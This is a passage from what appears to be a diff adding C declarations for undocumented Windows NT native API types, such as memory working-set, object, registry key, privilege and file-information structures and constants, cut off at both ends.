LPC_PVOID ViewBase; +} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; + +#define IO_COMPLETION_QUERY_STATE 0x0001 +#define IO_COMPLETION_MODIFY_STATE 0x0002 +#define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +typedef enum _IO_COMPLETION_INFORMATION_CLASS { + IoCompletionBasicInformation +} IO_COMPLETION_INFORMATION_CLASS; + +typedef enum _PORT_INFORMATION_CLASS { + PortBasicInformation +} PORT_INFORMATION_CLASS; + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +//added 21/03/2011 +typedef struct _MEMORY_WORKING_SET_BLOCK +{ + ULONG_PTR Protection : 5; + ULONG_PTR ShareCount : 3; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 3; +#if defined(_M_X64) + ULONG_PTR VirtualPage : 52; +#else + ULONG VirtualPage : 20; +#endif +} MEMORY_WORKING_SET_BLOCK, *PMEMORY_WORKING_SET_BLOCK; + +typedef struct _MEMORY_WORKING_SET_INFORMATION +{ + ULONG_PTR NumberOfEntries; + MEMORY_WORKING_SET_BLOCK WorkingSetInfo[1]; +} MEMORY_WORKING_SET_INFORMATION, *PMEMORY_WORKING_SET_INFORMATION; + +typedef struct _MEMORY_WORKING_SET_EX_BLOCK +{ + ULONG_PTR Valid : 1; + ULONG_PTR ShareCount : 3; + ULONG_PTR Win32Protection : 11; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 6; + ULONG_PTR Locked : 1; + ULONG_PTR LargePage : 1; + ULONG_PTR Priority : 3; + ULONG_PTR Reserved : 5; + +#if defined(_M_X64) + ULONG_PTR ReservedUlong : 32; +#endif +} MEMORY_WORKING_SET_EX_BLOCK, *PMEMORY_WORKING_SET_EX_BLOCK; + +typedef struct _MEMORY_REGION_INFORMATION +{ + PVOID AllocationBase; + ULONG AllocationProtect; + ULONG RegionType; + SIZE_T RegionSize; +} MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION; + +typedef struct _MEMORY_WORKING_SET_EX_INFORMATION +{ + PVOID VirtualAddress; + union + { + MEMORY_WORKING_SET_EX_BLOCK VirtualAttributes; + ULONG Long; + }; +} MEMORY_WORKING_SET_EX_INFORMATION, *PMEMORY_WORKING_SET_EX_INFORMATION; + +typedef +VOID +(*PTIMER_APC_ROUTINE) ( + IN PVOID TimerContext, + IN ULONG TimerLowValue, + IN LONG TimerHighValue + ); + +typedef enum _SHUTDOWN_ACTION { + ShutdownNoReboot, + ShutdownReboot, + ShutdownPowerOff +} SHUTDOWN_ACTION; + +typedef enum _ATOM_INFORMATION_CLASS +{ + AtomBasicInformation, + AtomTableInformation +} ATOM_INFORMATION_CLASS; + +typedef struct _ATOM_BASIC_INFORMATION +{ + USHORT UsageCount; + USHORT Flags; + USHORT NameLength; + WCHAR Name[1]; +} ATOM_BASIC_INFORMATION, *PATOM_BASIC_INFORMATION; + +typedef struct _ATOM_TABLE_INFORMATION +{ + ULONG NumberOfAtoms; + RTL_ATOM Atoms[1]; +} ATOM_TABLE_INFORMATION, *PATOM_TABLE_INFORMATION; + +#define SEMAPHORE_QUERY_STATE 0x0001 +#define SEMAPHORE_MODIFY_STATE 0x0002 + +#define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +typedef enum _SEMAPHORE_INFORMATION_CLASS { + SemaphoreBasicInformation +} SEMAPHORE_INFORMATION_CLASS; + +typedef struct _SEMAPHORE_BASIC_INFORMATION { + LONG CurrentCount; + LONG MaximumCount; +} SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION; + +#define MUTANT_QUERY_STATE 0x0001 + +#define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ + MUTANT_QUERY_STATE) + +typedef enum _MUTANT_INFORMATION_CLASS { + MutantBasicInformation +} MUTANT_INFORMATION_CLASS; + +typedef struct _MUTANT_BASIC_INFORMATION { + LONG CurrentCount; + BOOLEAN OwnedByCaller; + BOOLEAN AbandonedState; +} MUTANT_BASIC_INFORMATION, *PMUTANT_BASIC_INFORMATION; + +#define TIMER_QUERY_STATE 0x0001 +#define TIMER_MODIFY_STATE 0x0002 + +#define TIMER_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ + TIMER_QUERY_STATE|TIMER_MODIFY_STATE) +typedef enum _TIMER_INFORMATION_CLASS { + TimerBasicInformation +} TIMER_INFORMATION_CLASS; + +typedef struct _TIMER_BASIC_INFORMATION { + LARGE_INTEGER RemainingTime; + BOOLEAN TimerState; +} TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION; + +typedef enum _SECTION_INFORMATION_CLASS { + SectionBasicInformation, + SectionImageInformation, + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; + +#define OBJ_NAME_PATH_SEPARATOR ((WCHAR)L'\\') +#define OBJ_MAX_REPARSE_ATTEMPTS 32 +#define OBJECT_TYPE_CREATE (0x0001) +#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) + +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectTypesInformation, + ObjectHandleFlagInformation, + ObjectSessionInformation, + MaxObjectInfoClass +} OBJECT_INFORMATION_CLASS; + +typedef struct _OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[ 3 ]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; + +typedef struct _OBJECT_NAME_INFORMATION { + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; + +typedef struct _OBJECT_TYPE_INFORMATION +{ + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +typedef struct _OBJECT_TYPES_INFORMATION +{ + ULONG NumberOfTypes; + OBJECT_TYPE_INFORMATION TypeInformation; +} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION; + +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION +{ + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; + +typedef enum _PLUGPLAY_EVENT_CATEGORY { + HardwareProfileChangeEvent, + TargetDeviceChangeEvent, + DeviceClassChangeEvent, + CustomDeviceEvent, + DeviceInstallEvent, + DeviceArrivalEvent, + PowerEvent, + VetoEvent, + BlockedDriverEvent, + InvalidIDEvent, + MaxPlugEventCategory +} PLUGPLAY_EVENT_CATEGORY, *PPLUGPLAY_EVENT_CATEGORY; + +typedef enum _PNP_VETO_TYPE { + PNP_VetoTypeUnknown, // Name is unspecified + PNP_VetoLegacyDevice, // Name is an Instance Path + PNP_VetoPendingClose, // Name is an Instance Path + PNP_VetoWindowsApp, // Name is a Module + PNP_VetoWindowsService, // Name is a Service + PNP_VetoOutstandingOpen, // Name is an Instance Path + PNP_VetoDevice, // Name is an Instance Path + PNP_VetoDriver, // Name is a Driver Service Name + PNP_VetoIllegalDeviceRequest, // Name is an Instance Path + PNP_VetoInsufficientPower, // Name is unspecified + PNP_VetoNonDisableable, // Name is an Instance Path + PNP_VetoLegacyDriver, // Name is a Service + PNP_VetoInsufficientRights // Name is unspecified +} PNP_VETO_TYPE, *PPNP_VETO_TYPE; + +typedef struct _PLUGPLAY_EVENT_BLOCK { + // + // Common event data + // + GUID EventGuid; + PLUGPLAY_EVENT_CATEGORY EventCategory; + PULONG Result; + ULONG Flags; + ULONG TotalSize; + PVOID DeviceObject; + + union { + + struct { + GUID ClassGuid; + WCHAR SymbolicLinkName[1]; + } DeviceClass; + + struct { + WCHAR DeviceIds[1]; + } TargetDevice; + + struct { + WCHAR DeviceId[1]; + } InstallDevice; + + struct { + PVOID NotificationStructure; + WCHAR DeviceIds[1]; + } CustomNotification; + + struct { + PVOID Notification; + } ProfileNotification; + + struct { + ULONG NotificationCode; + ULONG NotificationData; + } PowerNotification; + + struct { + PNP_VETO_TYPE VetoType; + WCHAR DeviceIdVetoNameBuffer[1]; // DeviceIdVetoName + } VetoNotification; + + struct { + GUID BlockedDriverGuid; + } BlockedDriverNotification; + + struct { + WCHAR ParentId[1]; + } InvalidIDNotification; + + } u; + +} PLUGPLAY_EVENT_BLOCK, *PPLUGPLAY_EVENT_BLOCK; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; + +#define MDL_HASH_TABLE_SIZE 64 +#define MDL_HASH_MASK (MDL_HASH_TABLE_SIZE-1) +#define MDL_HASH_INDEX(wch) ((RtlUpcaseUnicodeChar((wch)) - (WCHAR)'A') & MDL_HASH_MASK) + +#if !defined(_WINNT_) +#define HEAP_MAKE_TAG_FLAGS( b, o ) ((ULONG)((b) + ((o) << 18))) +#endif +#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS + +typedef struct _TIME_FIELDS { + CSHORT Year; // range [1601...] + CSHORT Month; // range [1..12] + CSHORT Day; // range [1..31] + CSHORT Hour; // range [0..23] + CSHORT Minute; // range [0..59] + CSHORT Second; // range [0..59] + CSHORT Milliseconds;// range [0..999] + CSHORT Weekday; // range [0..6] == [Sunday..Saturday] +} TIME_FIELDS; +typedef TIME_FIELDS *PTIME_FIELDS; + +typedef struct _RTL_TIME_ZONE_INFORMATION { + LONG Bias; + WCHAR StandardName[ 32 ]; + TIME_FIELDS StandardStart; + LONG StandardBias; + WCHAR DaylightName[ 32 ]; + TIME_FIELDS DaylightStart; + LONG DaylightBias; +} RTL_TIME_ZONE_INFORMATION, *PRTL_TIME_ZONE_INFORMATION; + +typedef struct _RTL_BITMAP_RUN { + ULONG StartingIndex; + ULONG NumberOfBits; +} RTL_BITMAP_RUN; +typedef RTL_BITMAP_RUN *PRTL_BITMAP_RUN; + +typedef struct _PARSE_MESSAGE_CONTEXT { + ULONG fFlags; + ULONG cwSavColumn; + SIZE_T iwSrc; + SIZE_T iwDst; + SIZE_T iwDstSpace; + va_list lpvArgStart; +} PARSE_MESSAGE_CONTEXT, *PPARSE_MESSAGE_CONTEXT; + +typedef enum _RTL_RXACT_OPERATION { + RtlRXactOperationDelete = 1, // Causes sub-key to be deleted + RtlRXactOperationSetValue, // Sets sub-key value (creates key(s) if necessary) + RtlRXactOperationDelAttribute, + RtlRXactOperationSetAttribute +} RTL_RXACT_OPERATION, *PRTL_RXACT_OPERATION; + +typedef struct _RTL_RXACT_LOG { + ULONG OperationCount; + ULONG LogSize; + ULONG LogSizeInUse; +#if defined(_M_X64) + ULONG Alignment; +#endif +} RTL_RXACT_LOG, *PRTL_RXACT_LOG; + +typedef struct _RTL_RXACT_CONTEXT { + HANDLE RootRegistryKey; + HANDLE RXactKey; + BOOLEAN HandlesValid; + PRTL_RXACT_LOG RXactLog; +} RTL_RXACT_CONTEXT, *PRTL_RXACT_CONTEXT; + +#define MAXIMUM_LEADBYTES 12 + +typedef struct _CPTABLEINFO { + USHORT CodePage; // code page number + USHORT MaximumCharacterSize; // max length (bytes) of a char + USHORT DefaultChar; // default character (MB) + USHORT UniDefaultChar; // default character (Unicode) + USHORT TransDefaultChar; // translation of default char (Unicode) + USHORT TransUniDefaultChar; // translation of Unic default char (MB) + USHORT DBCSCodePage; // Non 0 for DBCS code pages + UCHAR LeadByte[MAXIMUM_LEADBYTES]; // lead byte ranges + PUSHORT MultiByteTable; // pointer to MB translation table + PVOID WideCharTable; // pointer to WC translation table + PUSHORT DBCSRanges; // pointer to DBCS ranges + PUSHORT DBCSOffsets; // pointer to DBCS offsets +} CPTABLEINFO, *PCPTABLEINFO; + +typedef struct _NLSTABLEINFO { + CPTABLEINFO OemTableInfo; + CPTABLEINFO AnsiTableInfo; + PUSHORT UpperCaseTable; // 844 format upcase table + PUSHORT LowerCaseTable; // 844 format lower case table +} NLSTABLEINFO, *PNLSTABLEINFO; + +#define RTL_RANGE_LIST_SHARED_OK 0x00000001 +#define RTL_RANGE_LIST_NULL_CONFLICT_OK 0x00000002 + +typedef struct _RTL_RANGE { + ULONGLONG Start; // Read only + ULONGLONG End; // Read only + PVOID UserData; // Read/Write + PVOID Owner; // Read/Write + UCHAR Attributes; // Read/Write + UCHAR Flags; // Read only +} RTL_RANGE, *PRTL_RANGE; + +typedef + BOOLEAN + (*PRTL_CONFLICT_RANGE_CALLBACK) ( + IN PVOID Context, + IN PRTL_RANGE Range + ); + +typedef enum _EVENT_INFORMATION_CLASS { + EventBasicInformation +} EVENT_INFORMATION_CLASS; + + +typedef enum _PLUGPLAY_CONTROL_CLASS { + PlugPlayControlEnumerateDevice, + PlugPlayControlRegisterNewDevice, + PlugPlayControlDeregisterDevice, + PlugPlayControlInitializeDevice, + PlugPlayControlStartDevice, + PlugPlayControlUnlockDevice, + PlugPlayControlQueryAndRemoveDevice, + PlugPlayControlUserResponse, + PlugPlayControlGenerateLegacyDevice, + PlugPlayControlGetInterfaceDeviceList, + PlugPlayControlProperty, + PlugPlayControlDeviceClassAssociation, + PlugPlayControlGetRelatedDevice, + PlugPlayControlGetInterfaceDeviceAlias, + PlugPlayControlDeviceStatus, + PlugPlayControlGetDeviceDepth, + PlugPlayControlQueryDeviceRelations, + PlugPlayControlTargetDeviceRelation, + PlugPlayControlQueryConflictList, + PlugPlayControlRetrieveDock, + PlugPlayControlResetDevice, + PlugPlayControlHaltDevice, + PlugPlayControlGetBlockedDriverList, + MaxPlugPlayControl +} PLUGPLAY_CONTROL_CLASS, *PPLUGPLAY_CONTROL_CLASS; + +typedef +VOID +(*PPS_APC_ROUTINE) ( + IN OPTIONAL PVOID ApcArgument1, + IN OPTIONAL PVOID ApcArgument2, + IN OPTIONAL PVOID ApcArgument3 + ); + +typedef enum _KEY_INFORMATION_CLASS { + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; + +typedef struct _KEY_BASIC_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; + +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; + +// +// Value entry query structures +// 14.09.11 + +typedef struct _KEY_VALUE_BASIC_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; // Variable size +} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; + +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; // Variable size +// Data[1]; // Variable size data not declared +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 { + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; + +typedef struct _KEY_VALUE_ENTRY { + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; +} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; + +// +// end of value info +// + +typedef enum _KEY_SET_INFORMATION_CLASS { + KeyWriteTimeInformation, + KeyUserFlagsInformation, + MaxKeySetInfoClass +} KEY_SET_INFORMATION_CLASS; + +#define SE_CREATE_TOKEN_NAME TEXT("SeCreateTokenPrivilege") +#define SE_ASSIGNPRIMARYTOKEN_NAME TEXT("SeAssignPrimaryTokenPrivilege") +#define SE_LOCK_MEMORY_NAME TEXT("SeLockMemoryPrivilege") +#define SE_INCREASE_QUOTA_NAME TEXT("SeIncreaseQuotaPrivilege") +#define SE_UNSOLICITED_INPUT_NAME TEXT("SeUnsolicitedInputPrivilege") +#define SE_MACHINE_ACCOUNT_NAME TEXT("SeMachineAccountPrivilege") +#define SE_TCB_NAME TEXT("SeTcbPrivilege") +#define SE_SECURITY_NAME TEXT("SeSecurityPrivilege") +#define SE_TAKE_OWNERSHIP_NAME TEXT("SeTakeOwnershipPrivilege") +#define SE_LOAD_DRIVER_NAME TEXT("SeLoadDriverPrivilege") +#define SE_SYSTEM_PROFILE_NAME TEXT("SeSystemProfilePrivilege") +#define SE_SYSTEMTIME_NAME TEXT("SeSystemtimePrivilege") +#define SE_PROF_SINGLE_PROCESS_NAME TEXT("SeProfileSingleProcessPrivilege") +#define SE_INC_BASE_PRIORITY_NAME TEXT("SeIncreaseBasePriorityPrivilege") +#define SE_CREATE_PAGEFILE_NAME TEXT("SeCreatePagefilePrivilege") +#define SE_CREATE_PERMANENT_NAME TEXT("SeCreatePermanentPrivilege") +#define SE_BACKUP_NAME TEXT("SeBackupPrivilege") +#define SE_RESTORE_NAME TEXT("SeRestorePrivilege") +#define SE_SHUTDOWN_NAME TEXT("SeShutdownPrivilege") +#define SE_DEBUG_NAME TEXT("SeDebugPrivilege") +#define SE_AUDIT_NAME TEXT("SeAuditPrivilege") +#define SE_SYSTEM_ENVIRONMENT_NAME TEXT("SeSystemEnvironmentPrivilege") +#define SE_CHANGE_NOTIFY_NAME TEXT("SeChangeNotifyPrivilege") +#define SE_REMOTE_SHUTDOWN_NAME TEXT("SeRemoteShutdownPrivilege") +#define SE_UNDOCK_NAME TEXT("SeUndockPrivilege") +#define SE_SYNC_AGENT_NAME TEXT("SeSyncAgentPrivilege") +#define SE_ENABLE_DELEGATION_NAME TEXT("SeEnableDelegationPrivilege") +#define SE_MANAGE_VOLUME_NAME TEXT("SeManageVolumePrivilege") +#define SE_IMPERSONATE_NAME TEXT("SeImpersonatePrivilege") +// #define SE_CREATE_GLOBAL_PRIVILEGE TEXT("SeCreateGlobalPrivilege") +// #define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE TEXT("SeTrustedCredmanAccessPrivilege") +// #define SE_RELABEL_PRIVILEGE TEXT("SeReLabelPrivilege") +#define SE_CREATE_GLOBAL_NAME TEXT("SeCreateGlobalPrivilege") + +// Privileges + +#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) +#define SE_CREATE_TOKEN_PRIVILEGE (2L) +#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) +#define SE_LOCK_MEMORY_PRIVILEGE (4L) +#define SE_INCREASE_QUOTA_PRIVILEGE (5L) + +#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) +#define SE_TCB_PRIVILEGE (7L) +#define SE_SECURITY_PRIVILEGE (8L) +#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) +#define SE_LOAD_DRIVER_PRIVILEGE (10L) +#define SE_SYSTEM_PROFILE_PRIVILEGE (11L) +#define SE_SYSTEMTIME_PRIVILEGE (12L) +#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) +#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) +#define SE_CREATE_PAGEFILE_PRIVILEGE (15L) +#define SE_CREATE_PERMANENT_PRIVILEGE (16L) +#define SE_BACKUP_PRIVILEGE (17L) +#define SE_RESTORE_PRIVILEGE (18L) +#define SE_SHUTDOWN_PRIVILEGE (19L) +#define SE_DEBUG_PRIVILEGE (20L) +#define SE_AUDIT_PRIVILEGE (21L) +#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) +#define SE_CHANGE_NOTIFY_PRIVILEGE (23L) +#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) +#define SE_UNDOCK_PRIVILEGE (25L) +#define SE_SYNC_AGENT_PRIVILEGE (26L) +#define SE_ENABLE_DELEGATION_PRIVILEGE (27L) +#define SE_MANAGE_VOLUME_PRIVILEGE (28L) +#define SE_IMPERSONATE_PRIVILEGE (29L) +#define SE_CREATE_GLOBAL_PRIVILEGE (30L) +#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) +#define SE_RELABEL_PRIVILEGE (32L) +#define SE_INC_WORKING_SET_PRIVILEGE (33L) +#define SE_TIME_ZONE_PRIVILEGE (34L) +#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) +#define SE_MAX_WELL_KNOWN_PRIVILEGE SE_CREATE_SYMBOLIC_LINK_PRIVILEGE + +typedef struct _CLIENT_ID +{ + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef struct _CLIENT_ID32 +{ + ULONG UniqueProcess; + ULONG UniqueThread; +} CLIENT_ID32, *PCLIENT_ID32; + +typedef struct _CLIENT_ID64 +{ + ULONGLONG UniqueProcess; + ULONGLONG UniqueThread; +} CLIENT_ID64, *PCLIENT_ID64; + +#include + +typedef struct _KSYSTEM_TIME +{ + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, *PKSYSTEM_TIME; + +#include + +// +// FILE_INFORMATION +// +//readded 17.09.11 EP_X0FF + +typedef struct _FILE_BASIC_INFORMATION { // ntddk wdm nthal + LARGE_INTEGER CreationTime; // ntddk wdm nthal + LARGE_INTEGER LastAccessTime; // ntddk wdm nthal + LARGE_INTEGER LastWriteTime; // ntddk wdm nthal + LARGE_INTEGER ChangeTime; // ntddk wdm nthal + ULONG FileAttributes; // ntddk wdm nthal +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; // ntddk wdm nthal + +typedef struct _FILE_STANDARD_INFORMATION +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + UCHAR DeletePending; + UCHAR Directory; +} FILE_STANDARD_INFORMATION; + +typedef struct _FILE_INTERNAL_INFORMATION { + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + +typedef struct _FILE_EA_INFORMATION { + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + +typedef struct _FILE_ACCESS_INFORMATION { + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + +typedef struct _FILE_POSITION_INFORMATION { // ntddk wdm nthal + LARGE_INTEGER CurrentByteOffset; // ntddk wdm nthal +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; // ntddk wdm nthal + // ntddk wdm nthal +typedef struct _FILE_MODE_INFORMATION { + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFORMATION { // ntddk nthal + ULONG AlignmentRequirement; // ntddk nthal +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_NAME_INFORMATION { // ntddk + ULONG FileNameLength; // ntddk + WCHAR FileName[1]; // ntddk +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; // ntddk + +typedef struct _FILE_ALL_INFORMATION { + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + +typedef struct _FILE_NETWORK_OPEN_INFORMATION { // ntddk wdm nthal + LARGE_INTEGER CreationTime; // ntddk wdm nthal + LARGE_INTEGER LastAccessTime; // ntddk wdm nthal + LARGE_INTEGER LastWriteTime; // ntddk wdm nthal + LARGE_INTEGER ChangeTime; // ntddk wdm nthal + LARGE_INTEGER AllocationSize; // ntddk wdm nthal + LARGE_INTEGER EndOfFile; // ntddk wdm nthal + ULONG FileAttributes; // ntddk wdm nthal +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; // ntddk wdm nthal + // ntddk wdm nthal +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { // ntddk nthal + ULONG FileAttributes; // ntddk nthal + ULONG ReparseTag; // ntddk nthal +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_ALLOCATION_INFORMATION { + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + +typedef struct _FILE_COMPRESSION_INFORMATION { + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; + +typedef struct _FILE_DISPOSITION_INFORMATION { // ntddk nthal + BOOLEAN DeleteFile; // ntddk nthal +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_END_OF_FILE_INFORMATION { // ntddk nthal + LARGE_INTEGER EndOfFile; // ntddk nthal +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { // ntddk nthal + LARGE_INTEGER ValidDataLength; // ntddk nthal +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; // ntddk nthal + +typedef struct _FILE_LINK_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION { + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; + +typedef struct _FILE_RENAME_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + +typedef struct _FILE_STREAM_INFORMATION { + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +typedef struct _FILE_TRACKING_INFORMATION { + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + +typedef struct _FILE_PIPE_INFORMATION { + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; + +typedef struct _FILE_PIPE_LOCAL_INFORMATION { + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; + +typedef struct _FILE_PIPE_REMOTE_INFORMATION { + LARGE_INTEGER CollectDataTime; + ULONG 